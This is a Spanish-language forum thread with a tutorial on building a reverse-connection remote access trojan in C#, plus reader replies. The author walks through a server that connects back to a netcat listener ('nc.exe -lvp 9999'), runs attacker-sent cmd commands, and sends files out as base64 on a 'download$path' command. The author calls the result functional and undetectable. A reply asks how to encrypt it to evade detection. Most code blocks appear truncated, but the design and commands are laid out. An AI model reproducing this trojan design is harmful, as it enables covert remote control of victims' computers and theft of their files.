Título: Creando un Troyano en C# Publicado por: Devilboy.Devil en 26 Diciembre 2013, 22:26 pm En este tuto voy a enseñar como crear el principio de un RAT de conexion inversa.
En mi caso usaré visual studio ultimate 2012 pero obviamente puede utilizar algun otro IDE. ***************Creando el Servidor************* Crearemos un servidor muy simple que lo que hará será esperar a que el cliente se conecte esto será mediante un ciclo infinito con una pausa del tiempo que nosotros indiquémos Abrimos vs y creamos un nuevo proyecto de winform, y dos clases con el nombre que querámos en mi caso el nombre dle proyecto es Server, clase Servidor y Utilidades: Primero escribiremos la clase servidor agregamos los NameSpaces que necesitamos, en este caso solo agregarémos 3: Código: using System.IO; //Streams y nuestra clase quedará de la sig. manera: Código: using System; Aquí he creado las variables que necesitamos para conectarnos al cliente, esto es la ip y el puerto (esto se hace en el constructor) ademas de un StreamReader que usarémos para escuchar los mensajes que el cliente escriba. Usé una variable del tipo enum, esto es para validar los mensajes del cliente, esto lo hacemos de la sig forma: si el cliente escribe por ejemplo "MandarMensaje" el servidor compara ese mensaje con el enum y si son iguales entonces va a realizar alguna tarea que escribamos en la clase Utilidades. En el metodo iniciar hemos creado un bucle donde se ejecutará el metodo EjecutarServidor y ademas hará una pausa de x milisegundos. El sig. metodo es el corazón del servidor, aqui intentarémos conectarnos y escucharémos los mensajes que el cliente nos pase Los mensajes los validaremos en el metodo LeerDatos donde mandarémos como parametros el mensaje que el cliente escriba Aquí mediante un string.compare() validamos si el mensaje es igual a lo que esperámos y si es así entonces ejecutarémos lo que haya en Utilidades además usamos un split para seprar el mensaje del cliente, mas adelante con un ejemplo mostraré lo que realmente hace el ultimo metodo es limpiar, aqui cerrarémos los streams. ahora en la clase Utilidades, vamos a indicarle que sea estatica para no tener que instanciarla cada vez que la querámos utilizar aqui simplemente se ejecuta un MessageBox.Show con el mensaje que el cliente haya escrito. ***************Usando la clase************* ahora solo nos queda irnos al form y en el evento load de nuestro form y escribimos lo sig: crearemos dos variables Código: private Servidor servidor; en el contructor las asignarémos: Código: servidor = new Servidor("127.0.0.1", 9999); y el el evento load ejecutarémos nuestra clase: Código: private void Form1_Load(object sender, EventArgs e) el codigo completo es el sig: Código: using System; ***************Usar Netcat o Cryptcat como cliente************* Como mandar los mensajes de un cliente. bueno es muy facil podemos crear otra aplicación pero en este caso usarémos al viejo netcat o cryptcar lo colocámos en c:\ y abrimos linea de comandos: Código: nc.exe -lvp 9999 ejecutamos nuestro servidor y verémos como estámos conectados ahora solo escribirémos lo sig: Mensaje$HolaDesdeElCliente y verémos como se abre el MessageBox del servidor con el mensaje HolaDesdeElCliente el mensaje del cliente como dije antes se valida en el metodo LeerDatos(string datos) donde el parametro datos en este caso va a ser igual a "Mensaje$HolaDesdeElCliente" y mediante el metodo string.split() vamos a separar en un arreglo todo el mensaje que haya antes del signo "$" y todo lo que haya despues en este caso quedará asi: Código: string[] cadena = datos.Split('$'); siendo: cadena[0] //Mensaje y cadena[1] //HolaDesdeElCliente si escribimos cualquier otra cosa verémos que nuestro servidor no hace absolutamente nada. pero bueno ya con ese estoy seguro que se les ocurrirá muchas cosas bueno ahora verémos como hacerlo a la inversa (del servidor al cliente) un ejemplo extremandamente sencillo será mandar un mensaje de Bienvenida una vez que el cliente se conecte esto lo haremos simplemnete usando el metodo writeline de nuestro StreamWriter solamente agregruen los sig. despues de que tcpclient se conecte: Código: sw.WriteLine("Hola"); con eso mandamos un mensaje mediante writeline y mediante flush borramos todos los búferes una vez sabiendo esto es facil deducir lo que podemos hacer por ejemplo sería creando otra validacion en nuestro metodo LeerDatos quedaría de la sig forma en pseudocdigo: Código: si el mensaje del cliente es igual a "dameIP" entonces como ven es muy facil crear un troyano simple. ahora les voy a enseñar como mandar comandos cmd a nuestro servidor agregamos un valor a la variable enum mensajes en mi caso quedó así: Código: private enum mensajes y validamos el mensaje en el metodo LeerDatos Código: if (String.Compare(cadena[0], mensajes.comando.ToString()) == 0) agregamos el sig. namespace en nuestra clase utilidades: Código: using System.Diagnostics; y creamos el sig metodo en la clase Utilidades Código: public static void consola(string comando) y listo, ahora ejecutamos el servidor, abrimos netcat y mandamos mensaje de la siguiente forma: comando$md pruebaaaaaa donde comando es el mensaje que va a validar en LeerDatos $ es simbola para separar y md prueba es el comando (crear carpeta pruebaaaaa) como ven es extremadamente sencillo ya con esto hemos hecho un RAT funcional y lo mejor de todo FUD Devilboy Título: Re: Creando un Troyano en C# Publicado por: bernii en 5 Enero 2014, 10:20 am Y que podes controlar ?
Título: Re: Creando un Troyano en C# Publicado por: bernii en 6 Enero 2014, 09:42 am Muy buen tuto , pero hay que incryotarlo para que se pueda hacer indectectable ? Pero despues como hago para seguir su funcionamiento ?
Título: Re:Creando un Troyano en C# [Transferencia de archivos] Publicado por: Devilboy.Devil en 13 Enero 2014, 20:37 pm Seguímos usando la misma clase utilidades solo que agregarémos el metodo "downloadFile":
Código: public static string downloadFile(string ruta) aquí lo que hacemos es convertir un archivo a base64 ahora agregamos una comparación a nuestra clase Server en el metodo LeerDatos: Código: if (String.Compare(cadena[0], mensajes.download.ToString()) == 0) y modificamos nuestra variable enumerada "mensajes": Código: private enum mensajes por ultimo nos conectanos a nuestro server mediante netcat: -lvp 9999 y escribimos el mensaje: Código: download$ruta_de_archivo nos damos cuenta que netcat nos muestra todo el codigo en base64, solo nos queda escribir un programa para descifrar ese codigo. Creamos un nuevo proyecto y en el form agregamos un textbox y un boton (podemos agregar mas cosas pero para hacerlo sencillo solo agregaré esos dos componentes) y nos queda de esta forma: (http://oi44.tinypic.com/1zvykax.jpg) hacemos doble click en el boton para agregar codigo: Código: string sImagenTemporal = "pruebaaaaa.png"; //Nombre y formato que queramos y con eso "creamos" el archivo que hemos "descargado" del servidor noten que aqui he hardcodeado la variable "sImagenTemporal " con un ombre de archivo y formato, esto lo he hecho así por motivos de simplicidad ya que en mi caso he descargado una imagen, pero lo que deben hacer es crear un savefiledialog pero eso ya es cosa de uds. les dejo una idea sobre como quedaría ya con el codigo en base64: Código: download$C:\Users\Devil\Desktop\DD\PC\Devil\1.png ahora solo peguen todo lo ques les muestra netcat y peguenlo en el decripter que hicimos, click en el boton y listoooo |